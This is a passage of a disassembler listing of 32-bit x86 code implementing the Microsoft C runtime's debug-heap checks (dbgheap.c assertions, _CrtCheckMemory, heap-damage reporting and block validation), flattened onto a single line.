edx, [ebp+arg_0] push edx call sub_420610 add esp, 4 test eax, eax jnz short loc_41FAA9 push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)" push 0 push 414h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_41FAA9 int 3 ; Trap to Debugger loc_41FAA9: ; CODE XREF: sub_41F9E0+A6j ; sub_41F9E0+C6j xor eax, eax test eax, eax jnz short loc_41FA78 mov ecx, [ebp+arg_0] sub ecx, 20h mov [ebp+var_4], ecx loc_41FAB8: ; CODE XREF: sub_41F9E0+12Fj mov edx, [ebp+var_4] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 4 jz short loc_41FB0B mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 1 jz short loc_41FB0B mov edx, [ebp+var_4] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jz short loc_41FB0B mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 3 jz short loc_41FB0B push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)" push 0 push 41Ah push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_41FB0B int 3 ; Trap to Debugger loc_41FB0B: ; CODE XREF: sub_41F9E0+E6j ; sub_41F9E0+EFj ... xor edx, edx test edx, edx jnz short loc_41FAB8 mov eax, dword_44FEE0 and eax, 4 test eax, eax jnz loc_41FBE6 push 4 mov cl, byte_44FEEC push ecx mov edx, [ebp+var_4] add edx, 1Ch push edx call sub_4200A0 add esp, 0Ch test eax, eax jnz short loc_41FB80 loc_41FB3D: ; CODE XREF: sub_41F9E0+19Ej mov eax, [ebp+var_4] add eax, 20h push eax mov ecx, [ebp+var_4] mov edx, [ecx+18h] push edx mov eax, [ebp+var_4] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, off_44FEF0[ecx*4] push edx push offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"... push 0 push 0 push 0 push 1 call sub_424D20 add esp, 20h cmp eax, 1 jnz short loc_41FB7A int 3 ; Trap to Debugger loc_41FB7A: ; CODE XREF: sub_41F9E0+197j xor eax, eax test eax, eax jnz short loc_41FB3D loc_41FB80: ; CODE XREF: sub_41F9E0+15Bj push 4 mov cl, byte_44FEEC push ecx mov edx, [ebp+var_4] mov eax, [edx+10h] mov ecx, [ebp+var_4] lea edx, [ecx+eax+20h] push edx call sub_4200A0 add esp, 0Ch test eax, eax jnz short loc_41FBE6 loc_41FBA3: ; CODE XREF: sub_41F9E0+204j mov eax, [ebp+var_4] add eax, 20h push eax mov ecx, [ebp+var_4] mov edx, [ecx+18h] push edx mov eax, [ebp+var_4] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, off_44FEF0[ecx*4] push edx push offset aDamageAfterHsB ; "DAMAGE: after %hs block (#%d) at 0x%08X"... push 0 push 0 push 0 push 1 call sub_424D20 add esp, 20h cmp eax, 1 jnz short loc_41FBE0 int 3 ; Trap to Debugger loc_41FBE0: ; CODE XREF: sub_41F9E0+1FDj xor eax, eax test eax, eax jnz short loc_41FBA3 loc_41FBE6: ; CODE XREF: sub_41F9E0+13Bj ; sub_41F9E0+1C1j mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 3 jnz short loc_41FC5B loc_41FBEF: ; CODE XREF: sub_41F9E0+249j mov edx, [ebp+var_4] cmp dword ptr [edx+0Ch], 0FEDCBABCh jnz short loc_41FC04 mov eax, [ebp+var_4] cmp dword ptr [eax+18h], 0 jz short loc_41FC25 loc_41FC04: ; CODE XREF: sub_41F9E0+219j push offset aPheadNlineIgno ; "pHead->nLine == IGNORE_LINE && pHead->l"... push 0 push 42Fh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_41FC25 int 3 ; Trap to Debugger loc_41FC25: ; CODE XREF: sub_41F9E0+222j ; sub_41F9E0+242j xor ecx, ecx test ecx, ecx jnz short loc_41FBEF mov edx, [ebp+var_4] mov eax, [edx+10h] add eax, 24h push eax xor ecx, ecx mov cl, byte_44FEED push ecx mov edx, [ebp+var_4] push edx call sub_421410 add esp, 0Ch mov eax, [ebp+var_4] push eax call sub_4263E0 add esp, 4 jmp loc_41FDC5 ; --------------------------------------------------------------------------- loc_41FC5B: ; CODE XREF: sub_41F9E0+20Dj mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 2 jnz short loc_41FC71 cmp [ebp+arg_4], 1 jnz short loc_41FC71 mov [ebp+arg_4], 2 loc_41FC71: ; CODE XREF: sub_41F9E0+282j ; sub_41F9E0+288j ... mov edx, [ebp+var_4] mov eax, [edx+14h] cmp eax, [ebp+arg_4] jz short loc_41FC9D push offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse" push 0 push 43Ch push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_41FC9D int 3 ; Trap to Debugger loc_41FC9D: ; CODE XREF: sub_41F9E0+29Aj ; sub_41F9E0+2BAj xor ecx, ecx test ecx, ecx jnz short loc_41FC71 mov edx, [ebp+var_4] mov eax, dword_4E91EC sub eax, [edx+10h] mov dword_4E91EC, eax mov ecx, dword_44FEE0 and ecx, 2 test ecx, ecx jnz loc_41FD9C mov edx, [ebp+var_4] cmp dword ptr [edx], 0 jz short loc_41FCDC mov eax, [ebp+var_4] mov ecx, [eax] mov edx, [ebp+var_4] mov eax, [edx+4] mov [ecx+4], eax jmp short loc_41FD1A ; --------------------------------------------------------------------------- loc_41FCDC: ; CODE XREF: sub_41F9E0+2EAj ; sub_41F9E0+32Cj mov ecx, dword_4E91E0 cmp ecx, [ebp+var_4] jz short loc_41FD08 push offset a_plastblockPhe ; "_pLastBlock == pHead" push 0 push 44Bh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_41FD08 int 3 ; Trap to Debugger loc_41FD08: ; CODE XREF: sub_41F9E0+305j ; sub_41F9E0+325j xor edx, edx test edx, edx jnz short loc_41FCDC mov eax, [ebp+var_4] mov ecx, [eax+4] mov dword_4E91E0, ecx loc_41FD1A: ; CODE XREF: sub_41F9E0+2FAj mov edx, [ebp+var_4] cmp dword ptr [edx+4], 0 jz short loc_41FD32 mov eax, [ebp+var_4] mov ecx, [eax+4] mov edx, [ebp+var_4] mov eax, [edx] mov [ecx], eax jmp short loc_41FD6F ; --------------------------------------------------------------------------- loc_41FD32: ; CODE XREF: sub_41F9E0+341j ; sub_41F9E0+382j mov ecx, dword_4E91E8 cmp ecx, [ebp+var_4] jz short loc_41FD5E push offset a_pfirstblockPh ; "_pFirstBlock == pHead" push 0 push 455h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_41FD5E int 3 ; Trap to Debugger loc_41FD5E: ; CODE XREF: sub_41F9E0+35Bj ; sub_41F9E0+37Bj xor edx, edx test edx, edx jnz short loc_41FD32 mov eax, [ebp+var_4] mov ecx, [eax] mov dword_4E91E8, ecx loc_41FD6F: ; CODE XREF: sub_41F9E0+350j mov edx, [ebp+var_4] mov eax, [edx+10h] add eax, 24h push eax xor ecx, ecx mov cl, byte_44FEED push ecx mov edx, [ebp+var_4] push edx call sub_421410 add esp, 0Ch mov eax, [ebp+var_4] push eax call sub_4263E0 add esp, 4 jmp short loc_41FDC5 ; --------------------------------------------------------------------------- loc_41FD9C: ; CODE XREF: sub_41F9E0+2DEj mov ecx, [ebp+var_4] mov dword ptr [ecx+14h], 0 mov edx, [ebp+var_4] mov eax, [edx+10h] push eax xor ecx, ecx mov cl, byte_44FEED push ecx mov edx, [ebp+var_4] add edx, 20h push edx call sub_421410 add esp, 0Ch loc_41FDC5: ; CODE XREF: sub_41F9E0+49j ; sub_41F9E0+93j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41F9E0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 mov eax, [ebp+8] push eax call sub_41FDF0 add esp, 8 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FDF0 proc near ; CODE XREF: .XComp0:0041FDD9p ; sub_423BB0+11p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0041FF6C SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43E8B8 push offset sub_425A74 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF0h push ebx push esi push edi mov eax, dword_44FEE0 and eax, 4 test eax, eax jz short loc_41FE4F loc_41FE1F: ; CODE XREF: sub_41FDF0+5Dj call sub_420130 test eax, eax jnz short loc_41FE49 push offset a_crtcheckmemor ; "_CrtCheckMemory()" push 0 push 49Dh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_41FE49 int 3 ; Trap to Debugger loc_41FE49: ; CODE XREF: sub_41FDF0+36j ; sub_41FDF0+56j xor ecx, ecx test ecx, ecx jnz short loc_41FE1F loc_41FE4F: ; CODE XREF: sub_41FDF0+2Dj push 9 call sub_425990 add esp, 4 mov [ebp+var_4], 0 loc_41FE60: ; CODE XREF: sub_41FDF0+A5j mov edx, [ebp+arg_0] push edx call sub_420610 add esp, 4 test eax, eax jnz short loc_41FE91 push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)" push 0 push 4A9h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_41FE91 int 3 ; Trap to Debugger loc_41FE91: ; CODE XREF: sub_41FDF0+7Ej ; sub_41FDF0+9Ej xor eax, eax test eax, eax jnz short loc_41FE60 mov ecx, [ebp+arg_0] sub ecx, 20h mov [ebp+var_20], ecx loc_41FEA0: ; CODE XREF: sub_41FDF0+107j mov edx, [ebp+var_20] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 4 jz short loc_41FEF3 mov ecx, [ebp+var_20] cmp dword ptr [ecx+14h], 1 jz short loc_41FEF3 mov edx, [ebp+var_20] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jz short loc_41FEF3 mov ecx, [ebp+var_20] cmp dword ptr [ecx+14h], 3 jz short loc_41FEF3 push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)" push 0 push 4AFh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_41FEF3 int 3 ; Trap to Debugger loc_41FEF3: ; CODE XREF: sub_41FDF0+BEj ; sub_41FDF0+C7j ... xor edx, edx test edx, edx jnz short loc_41FEA0 mov eax, [ebp+var_20] cmp dword ptr [eax+14h], 2 jnz short loc_41FF0F cmp [ebp+arg_4], 1 jnz short loc_41FF0F mov [ebp+arg_4], 2 loc_41FF0F: ; CODE XREF: sub_41FDF0+110j ; sub_41FDF0+116j mov ecx, [ebp+var_20] cmp dword ptr [ecx+14h], 3 jz short loc_41FF4A loc_41FF18: ; CODE XREF: sub_41FDF0+158j mov edx, [ebp+var_20] mov eax, [edx+14h] cmp eax, [ebp+arg_4] jz short loc_41FF44 push offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse" push 0 push 4B6h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_41FF44 int 3 ; Trap to Debugger loc_41FF44: ; CODE XREF: sub_41FDF0+131j ; sub_41FDF0+151j xor ecx, ecx test ecx, ecx jnz short loc_41FF18 loc_41FF4A: ; CODE XREF: sub_41FDF0+126j mov edx, [ebp+var_20] mov eax, [edx+10h] mov [ebp+var_1C], eax mov [ebp+var_4], 0FFFFFFFFh call sub_41FF61 jmp short loc_41FF6C sub_41FDF0 endp ; =============== S U B R O U T I N E ======================================= sub_41FF61 proc near ; CODE XREF: sub_41FDF0+16Ap ; DATA XREF: .XComp0:0043E8C0o push 9 call sub_425A30 add esp, 4 retn sub_41FF61 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41FDF0 loc_41FF6C: ; CODE XREF: sub_41FDF0+16Fj mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_41FDF0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov eax, dword_44FEE8 mov [ebp-4], eax mov ecx, [ebp+8] mov dword_44FEE8, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43E8C8 push offset sub_425A74 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF4h push ebx push esi push edi push 9 call sub_425990 add esp, 4 mov dword ptr [ebp-4], 0 mov eax, [ebp+8] push eax call sub_420610 add esp, 4 test eax, eax jz short loc_42004F mov ecx, [ebp+8] sub ecx, 20h mov [ebp-1Ch], ecx loc_41FFED: ; CODE XREF: .XComp0:00420044j mov edx, [ebp-1Ch] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 4 jz short loc_420040 mov ecx, [ebp-1Ch] cmp dword ptr [ecx+14h], 1 jz short loc_420040 mov edx, [ebp-1Ch] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jz short loc_420040 mov ecx, [ebp-1Ch] cmp dword ptr [ecx+14h], 3 jz short loc_420040 push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)" push 0 push 4FFh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_420040 int 3 ; Trap to Debugger loc_420040: ; CODE XREF: .XComp0:0041FFFBj ; .XComp0:00420004j ... xor edx, edx test edx, edx jnz short loc_41FFED mov eax, [ebp-1Ch] mov ecx, [ebp+0Ch] mov [eax+14h], ecx loc_42004F: ; CODE XREF: .XComp0:0041FFE2j mov dword ptr [ebp-4], 0FFFFFFFFh call sub_42005D jmp short loc_420068 ; =============== S U B R O U T I N E ======================================= sub_42005D proc near ; CODE XREF: .XComp0:00420056p ; DATA XREF: .XComp0:0043E8D0o push 9 call sub_425A30 add esp, 4 retn sub_42005D endp ; --------------------------------------------------------------------------- loc_420068: ; CODE XREF: .XComp0:0042005Bj mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, off_4502B0 mov [ebp-4], eax mov ecx, [ebp+8] mov off_4502B0, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4200A0 proc near ; CODE XREF: sub_41F9E0+151p ; sub_41F9E0+1B7p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi push edi mov [ebp+var_4], 1 loc_4200AE: ; CODE XREF: sub_4200A0:loc_42011Cj mov eax, [ebp+arg_8] mov ecx, [ebp+arg_8] sub ecx, 1 mov [ebp+arg_8], ecx test eax, eax jz short loc_42011E mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov ecx, [ebp+arg_4] and ecx, 0FFh mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx cmp eax, ecx jz short loc_42011C loc_4200DB: ; CODE XREF: sub_4200A0+73j mov eax, [ebp+arg_4] and eax, 0FFh push eax mov ecx, [ebp+arg_0] xor edx, edx mov dl, [ecx-1] push edx mov eax, [ebp+arg_0] sub eax, 1 push eax push offset aMemoryCheckErr ; "memory check error at 0x%08X = 0x%02X, "... push 0 push 0 push 0 push 0 call sub_424D20 add esp, 20h cmp eax, 1 jnz short loc_42010F int 3 ; Trap to Debugger loc_42010F: ; CODE XREF: sub_4200A0+6Cj xor ecx, ecx test ecx, ecx jnz short loc_4200DB mov [ebp+var_4], 0 loc_42011C: ; CODE XREF: sub_4200A0+39j jmp short loc_4200AE ; --------------------------------------------------------------------------- loc_42011E: ; CODE XREF: sub_4200A0+1Cj mov eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4200A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420130 proc near ; CODE XREF: sub_41EEE0:loc_41EEFCp ; sub_41F350:loc_41F3B2p ... var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004204B0 SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43EA50 push offset sub_425A74 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE0h push ebx push esi push edi mov eax, dword_44FEE0 and eax, 1 test eax, eax jnz short loc_420169 mov eax, 1 jmp loc_4204B3 ; --------------------------------------------------------------------------- loc_420169: ; CODE XREF: sub_420130+2Dj push 9 call sub_425990 add esp, 4 mov [ebp+var_4], 0 call sub_426530 mov [ebp+var_24], eax cmp [ebp+var_24], 0FFFFFFFFh jz loc_42028E cmp [ebp+var_24], 0FFFFFFFEh jz loc_42028E mov ecx, [ebp+var_24] mov [ebp+var_30], ecx mov edx, [ebp+var_30] add edx, 6 mov [ebp+var_30], edx cmp [ebp+var_30], 3 ja loc_42025C mov eax, [ebp+var_30] jmp off_4204C4[eax*4] loc_4201B9: ; CODE XREF: sub_420130+ADj ; DATA XREF: .XComp0:004204D0o push offset a_heapchkFailsW ; "_heapchk fails with _HEAPBADBEGIN.\n" push offset aS_26 ; "%s" push 0 push 0 push 0 push 0 call sub_424D20 add esp, 18h cmp eax, 1 jnz short loc_4201D9 int 3 ; Trap to Debugger loc_4201D9: ; CODE XREF: sub_420130+A6j xor ecx, ecx test ecx, ecx jnz short loc_4201B9 jmp loc_420282 ; --------------------------------------------------------------------------- loc_4201E4: ; CODE XREF: sub_420130+82j ; sub_420130+D8j ; DATA XREF: ... push offset a_heapchkFail_0 ; "_heapchk fails with _HEAPBADNODE.\n" push offset aS_26 ; "%s" push 0 push 0 push 0 push 0 call sub_424D20 add esp, 18h cmp eax, 1 jnz short loc_420204 int 3 ; Trap to Debugger loc_420204: ; CODE XREF: sub_420130+D1j xor edx, edx test edx, edx jnz short loc_4201E4 jmp short loc_420282 ; --------------------------------------------------------------------------- loc_42020C: ; CODE XREF: sub_420130+82j ; sub_420130+100j ; DATA XREF: ... push offset a_heapchkFail_1 ; "_heapchk fails with _HEAPBADEND.\n" push offset aS_26 ; "%s" push 0 push 0 push 0 push 0 call sub_424D20 add esp, 18h cmp eax, 1 jnz short loc_42022C int 3 ; Trap to Debugger loc_42022C: ; CODE XREF: sub_420130+F9j xor eax, eax test eax, eax jnz short loc_42020C jmp short loc_420282 ; --------------------------------------------------------------------------- loc_420234: ; CODE XREF: sub_420130+82j ; sub_420130+128j ; DATA XREF: ... push offset a_heapchkFail_2 ; "_heapchk fails with _HEAPBADPTR.\n" push offset aS_26 ; "%s" push 0 push 0 push 0 push 0 call sub_424D20 add esp, 18h cmp eax, 1 jnz short loc_420254 int 3 ; Trap to Debugger loc_420254: ; CODE XREF: sub_420130+121j xor ecx, ecx test ecx, ecx jnz short loc_420234 jmp short loc_420282 ; --------------------------------------------------------------------------- loc_42025C: ; CODE XREF: sub_420130+79j ; sub_420130+150j push offset a_heapchkFail_3 ; "_heapchk fails with unknown return valu"... push offset aS_26 ; "%s" push 0 push 0 push 0 push 0 call sub_424D20 add esp, 18h cmp eax, 1 jnz short loc_42027C int 3 ; Trap to Debugger loc_42027C: ; CODE XREF: sub_420130+149j xor edx, edx test edx, edx jnz short loc_42025C loc_420282: ; CODE XREF: sub_420130+AFj ; sub_420130+DAj ... mov [ebp+var_1C], 0 jmp loc_420497 ; --------------------------------------------------------------------------- loc_42028E: ; CODE XREF: sub_420130+56j ; sub_420130+60j mov [ebp+var_1C], 1 mov eax, dword_4E91E8 mov [ebp+var_20], eax jmp short loc_4202A7 ; --------------------------------------------------------------------------- loc_42029F: ; CODE XREF: sub_420130:loc_420492j mov ecx, [ebp+var_20] mov edx, [ecx] mov [ebp+var_20], edx loc_4202A7: ; CODE XREF: sub_420130+16Dj cmp [ebp+var_20], 0 jz loc_420497 mov [ebp+var_28], 1 mov eax, [ebp+var_20] mov ecx, [eax+14h] and ecx, 0FFFFh cmp ecx, 4 jz short loc_4202EC mov edx, [ebp+var_20] cmp dword ptr [edx+14h], 1 jz short loc_4202EC mov eax, [ebp+var_20] mov ecx, [eax+14h] and ecx, 0FFFFh cmp ecx, 2 jz short loc_4202EC mov edx, [ebp+var_20] cmp dword ptr [edx+14h], 3 jnz short loc_420304 loc_4202EC: ; CODE XREF: sub_420130+197j ; sub_420130+1A0j ... mov eax, [ebp+var_20] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, off_44FEF0[ecx*4] mov [ebp+var_2C], edx jmp short loc_42030B ; --------------------------------------------------------------------------- loc_420304: ; CODE XREF: sub_420130+1BAj mov [ebp+var_2C], offset aDamaged ; "DAMAGED" loc_42030B: ; CODE XREF: sub_420130+1D2j push 4 mov al, byte_44FEEC push eax mov ecx, [ebp+var_20] add ecx, 1Ch push ecx call sub_4200A0 add esp, 0Ch test eax, eax jnz short loc_420360 loc_420326: ; CODE XREF: sub_420130+227j mov edx, [ebp+var_20] add edx, 20h push edx mov eax, [ebp+var_20] mov ecx, [eax+18h] push ecx mov edx, [ebp+var_2C] push edx push offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"... push 0 push 0 push 0 push 0 call sub_424D20 add esp, 20h cmp eax, 1 jnz short loc_420353 int 3 ; Trap to Debugger loc_420353: ; CODE XREF: sub_420130+220j xor eax, eax test eax, eax jnz short loc_420326 mov [ebp+var_28], 0 loc_420360: ; CODE XREF: sub_420130+1F4j push 4 mov cl, byte_44FEEC push ecx mov edx, [ebp+var_20] mov eax, [edx+10h] mov ecx, [ebp+var_20] lea edx, [ecx+eax+20h] push edx call sub_4200A0 add esp, 0Ch test eax, eax jnz short loc_4203BD loc_420383: ; CODE XREF: sub_420130+284j mov eax, [ebp+var_20] add eax, 20h push eax mov ecx, [ebp+var_20] mov edx, [ecx+18h] push edx mov eax, [ebp+var_2C] push eax push offset aDamageAfterHsB ; "DAMAGE: after %hs block (#%d) at 0x%08X"... push 0 push 0 push 0 push 0 call sub_424D20 add esp, 20h cmp eax, 1 jnz short loc_4203B0 int 3 ; Trap to Debugger loc_4203B0: ; CODE XREF: sub_420130+27Dj xor ecx, ecx test ecx, ecx jnz short loc_420383 mov [ebp+var_28], 0 loc_4203BD: ; CODE XREF: sub_420130+251j mov edx, [ebp+var_20] cmp dword ptr [edx+14h], 0 jnz short loc_420416 mov eax, [ebp+var_20] mov ecx, [eax+10h] push ecx mov dl, byte_44FEED push edx mov eax, [ebp+var_20] add eax, 20h push eax call sub_4200A0 add esp, 0Ch test eax, eax jnz short loc_420416 loc_4203E7: ; CODE XREF: sub_420130+2DDj mov ecx, [ebp+var_20] add ecx, 20h push ecx push offset aDamageOnTopOfF ; "DAMAGE: on top of Free block at 0x%08X."... push 0 push 0 push 0 push 0 call sub_424D20 add esp, 18h cmp eax, 1 jnz short loc_420409 int 3 ; Trap to Debugger loc_420409: ; CODE XREF: sub_420130+2D6j xor edx, edx test edx, edx jnz short loc_4203E7 mov [ebp+var_28], 0 loc_420416: ; CODE XREF: sub_420130+294j ; sub_420130+2B5j cmp [ebp+var_28], 0 jnz short loc_420492 mov eax, [ebp+var_20] cmp dword ptr [eax+8], 0 jz short loc_420458 loc_420425: ; CODE XREF: sub_420130+326j mov ecx, [ebp+var_20] mov edx, [ecx+0Ch] push edx mov eax, [ebp+var_20] mov ecx, [eax+8] push ecx mov edx, [ebp+var_2C] push edx push offset aHsAllocatedAtF ; "%hs allocated at file %hs(%d).\n" push 0 push 0 push 0 push 0 call sub_424D20 add esp, 20h cmp eax, 1 jnz short loc_420452 int 3 ; Trap to Debugger loc_420452: ; CODE XREF: sub_420130+31Fj xor eax, eax test eax, eax jnz short loc_420425 loc_420458: ; CODE XREF: sub_420130+2F3j ; sub_420130+359j mov ecx, [ebp+var_20] mov edx, [ecx+10h] push edx mov eax, [ebp+var_20] add eax, 20h push eax mov ecx, [ebp+var_2C] push ecx push offset aHsLocatedAt0x0 ; "%hs located at 0x%08X is %u bytes long."... push 0 push 0 push 0 push 0 call sub_424D20 add esp, 20h cmp eax, 1 jnz short loc_420485 int 3 ; Trap to Debugger loc_420485: ; CODE XREF: sub_420130+352j xor edx, edx test edx, edx jnz short loc_420458 mov [ebp+var_1C], 0 loc_420492: ; CODE XREF: sub_420130+2EAj jmp loc_42029F ; --------------------------------------------------------------------------- loc_420497: ; CODE XREF: sub_420130+159j ; sub_420130+17Bj mov [ebp+var_4], 0FFFFFFFFh call sub_4204A5 jmp short loc_4204B0 sub_420130 endp ; =============== S U B R O U T I N E ======================================= sub_4204A5 proc near ; CODE XREF: sub_420130+36Ep ; DATA XREF: .XComp0:0043EA58o push 9 call sub_425A30 add esp, 4 retn sub_4204A5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_420130 loc_4204B0: ; CODE XREF: sub_420130+373j mov eax, [ebp+var_1C] loc_4204B3: ; CODE XREF: sub_420130+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_420130 ; --------------------------------------------------------------------------- off_4204C4 dd offset loc_420234 ; DATA XREF: sub_420130+82r dd offset loc_42020C dd offset loc_4201E4 dd offset loc_4201B9 align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4204E0 proc near ; CODE XREF: sub_421880+A0p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_44FEE0 mov [ebp+var_4], eax cmp [ebp+arg_0], 0FFFFFFFFh jz short loc_4204FB mov ecx, [ebp+arg_0] mov dword_44FEE0, ecx loc_4204FB: ; CODE XREF: sub_4204E0+10j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4204E0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43EA60 push offset sub_425A74 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF4h push ebx push esi push edi mov eax, dword_44FEE0 and eax, 1 test eax, eax jnz short loc_420541 jmp short loc_4205A8 ; --------------------------------------------------------------------------- loc_420541: ; CODE XREF: .XComp0:0042053Dj push 9 call sub_425990 add esp, 4 mov dword ptr [ebp-4], 0 mov ecx, dword_4E91E8 mov [ebp-1Ch], ecx jmp short loc_420565 ; --------------------------------------------------------------------------- loc_42055D: ; CODE XREF: .XComp0:loc_42058Dj mov edx, [ebp-1Ch] mov eax, [edx] mov [ebp-1Ch], eax loc_420565: ; CODE XREF: .XComp0:0042055Bj cmp dword ptr [ebp-1Ch], 0 jz short loc_42058F mov ecx, [ebp-1Ch] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 4 jnz short loc_42058D mov eax, [ebp+0Ch] push eax mov ecx, [ebp-1Ch] add ecx, 20h push ecx call dword ptr [ebp+8] add esp, 8 loc_42058D: ; CODE XREF: .XComp0:0042057Aj jmp short loc_42055D ; --------------------------------------------------------------------------- loc_42058F: ; CODE XREF: .XComp0:00420569j mov dword ptr [ebp-4], 0FFFFFFFFh call sub_42059D jmp short loc_4205A8 ; =============== S U B R O U T I N E ======================================= sub_42059D proc near ; CODE XREF: .XComp0:00420596p ; DATA XREF: .XComp0:0043EA68o push 9 call sub_425A30 add esp, 4 retn sub_42059D endp ; --------------------------------------------------------------------------- loc_4205A8: ; CODE XREF: .XComp0:0042053Fj ; .XComp0:0042059Bj mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4205C0 proc near ; CODE XREF: sub_420610+1Ep ; .XComp0:004207D0p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jz short loc_4205FD mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx nop call near ptr 2911A4Dh test eax, eax jnz short loc_4205FD cmp [ebp+arg_8], 0 jz short loc_4205F4 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call near ptr 29114ADh nop test eax, eax jnz short loc_4205FD loc_4205F4: ; CODE XREF: sub_4205C0+20j mov [ebp+var_4], 1 jmp short loc_420604 ; --------------------------------------------------------------------------- loc_4205FD: ; CODE XREF: sub_4205C0+8j ; sub_4205C0+1Aj ... mov [ebp+var_4], 0 loc_420604: ; CODE XREF: sub_4205C0+3Bj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4205C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420610 proc near ; CODE XREF: sub_41F350+1AAp ; sub_41F9E0+9Cp 